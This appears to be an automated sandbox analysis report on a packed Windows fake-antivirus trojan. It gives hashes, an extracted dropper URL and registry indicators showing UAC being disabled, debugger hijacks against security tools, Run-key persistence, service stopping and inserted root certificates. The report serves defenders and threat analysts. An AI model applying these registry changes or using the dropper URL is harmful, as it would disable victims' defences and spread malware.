47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add

General

Target

47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe
Size

2.1MB
MD5

35196950b0867c43806fa94079cab673
SHA1

2aba0a0a23a6cae9c39cffb822b57118215322f4
SHA256

47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add
SHA512

ece02cc0170abbdb52c5ef98b4f124a4306d0a59fc2362144ed6974e9e76b89fdc782e47652b8daf9f3a3196cb7a6e4286c0bc7102cbc2858f2f40f03332abd2
SSDEEP

49152:PggbSSPtE48gHHZa75zWUuDLOH6rQLeVC:pZ8gZatWUuf46rsR

Score

10^/10

evasion persistence trojan upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.statonlinekit.in/?0=127&1=0&2=1&3=95&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=1111&12=hlftlipwpt&14=1

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

Protector-wrwj.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-wrwj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-wrwj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-wrwj.exe

Disables taskbar notifications via registry modification
evasion
Executes dropped EXE 1 IoCs

Processes:

Protector-wrwj.exe

pid process

1144 Protector-wrwj.exe

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Protector-wrwj.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avguard.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bidserver.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\defwatch.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ifw2000.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcvsrte.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PsImSvc.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusPro_2010.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dpps2.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\homeav2010.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iomon98.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lordpe.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\panixk.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\datemanager.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winupdate.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mpfservice.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\programauditor.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xpdeluxe.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscfxas.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auto-protect.nav80try.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd32.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfin32.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msapp.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msiexec16.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashSkPcc.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\proport.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tds2-98.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zapsetup3001.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashPopWz.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kerio-wrl-421-en-win.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ss3edit.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsetup.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vswin9xe.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jedi.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loader.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\normist.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvsvc32.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityFighter.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vpfw30s.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AlphaAV\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVCare.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avshadow.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brastk.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nav.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\alertsvc.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netarmor.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashMaiSv.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvp95.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fast.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install[4].exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prizesurfer.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\programauditor.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\showbehind.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updat.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wupdater.exe	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgserv.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bidef.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\borg2.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csc.exe	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cwntdwmo.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\portdetective.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qh.exe\Debugger = "svchost.exe"	Protector-wrwj.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\_avpm.exe\Debugger = "svchost.exe"	Protector-wrwj.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1084-55-0x0000000000400000-0x0000000000747000-memory.dmp	upx
behavioral1/memory/1084-56-0x0000000000400000-0x0000000000969000-memory.dmp	upx
behavioral1/memory/1084-58-0x0000000000400000-0x0000000000969000-memory.dmp	upx
behavioral1/memory/1084-63-0x0000000000400000-0x0000000000969000-memory.dmp	upx
behavioral1/memory/1084-65-0x0000000000400000-0x0000000000747000-memory.dmp	upx
behavioral1/memory/1144-71-0x0000000000400000-0x0000000000969000-memory.dmp	upx
behavioral1/memory/1144-74-0x0000000000400000-0x0000000000969000-memory.dmp	upx
behavioral1/memory/1144-75-0x0000000000400000-0x0000000000969000-memory.dmp	upx

Loads dropped DLL 2 IoCs

Processes:

47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe

pid	process
1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe
1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

Protector-wrwj.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-wrwj.exe"	Protector-wrwj.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Windows\CurrentVersion\Run	Protector-wrwj.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Protector-wrwj.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-wrwj.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-wrwj.exe

Drops file in System32 directory 3 IoCs

Processes:

Protector-wrwj.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-wrwj.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-wrwj.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-wrwj.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2000 sc.exe
1664 sc.exe
1764 sc.exe
964 sc.exe
648 sc.exe
1928 sc.exe
1696 sc.exe
908 sc.exe
604 sc.exe
1108 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
2000	sc.exe
1664	sc.exe
1764	sc.exe
964	sc.exe
648	sc.exe
1928	sc.exe
1696	sc.exe
908	sc.exe
604	sc.exe
1108	sc.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exeProtector-wrwj.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-wrwj.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-wrwj.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	Protector-wrwj.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

Protector-wrwj.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	Protector-wrwj.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a190000000100000010000000fd960962ac6938e0d4b0769aa1a64e262000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	Protector-wrwj.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-wrwj.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Protector-wrwj.exe

pid	process
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exeProtector-wrwj.exe

description	pid	process
Token: SeDebugPrivilege	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe
Token: SeDebugPrivilege	1144	Protector-wrwj.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Protector-wrwj.exe

pid process

1144 Protector-wrwj.exe
1144 Protector-wrwj.exe
1144 Protector-wrwj.exe
1144 Protector-wrwj.exe
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Protector-wrwj.exe

pid process

1144 Protector-wrwj.exe
1144 Protector-wrwj.exe
1144 Protector-wrwj.exe
1144 Protector-wrwj.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exeProtector-wrwj.exe

pid	process
1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe
1144	Protector-wrwj.exe

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exeProtector-wrwj.exe

description	pid	process	target process
PID 1084 wrote to memory of 1144	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	Protector-wrwj.exe
PID 1084 wrote to memory of 1144	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	Protector-wrwj.exe
PID 1084 wrote to memory of 1144	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	Protector-wrwj.exe
PID 1084 wrote to memory of 1144	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	Protector-wrwj.exe
PID 1084 wrote to memory of 1900	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	cmd.exe
PID 1084 wrote to memory of 1900	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	cmd.exe
PID 1084 wrote to memory of 1900	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	cmd.exe
PID 1084 wrote to memory of 1900	1084	47c724ea55ddc401dbebafea545d6ac7bb32ed2b82b1c12b7083882b5d814add.exe	cmd.exe
PID 1144 wrote to memory of 2044	1144	Protector-wrwj.exe	mshta.exe
PID 1144 wrote to memory of 2044	1144	Protector-wrwj.exe	mshta.exe
PID 1144 wrote to memory of 2044	1144	Protector-wrwj.exe	mshta.exe
PID 1144 wrote to memory of 2044	1144	Protector-wrwj.exe	mshta.exe
PID 1144 wrote to memory of 2000	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 2000	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 2000	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 2000	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1696	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1696	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1696	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1696	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1664	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1664	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1664	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1664	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1928	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1928	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1928	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1928	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1108	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1108	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1108	1144	Protector-wrwj.exe	sc.exe
PID 1144 wrote to memory of 1108	1144	Protector-wrwj.exe	sc.exe
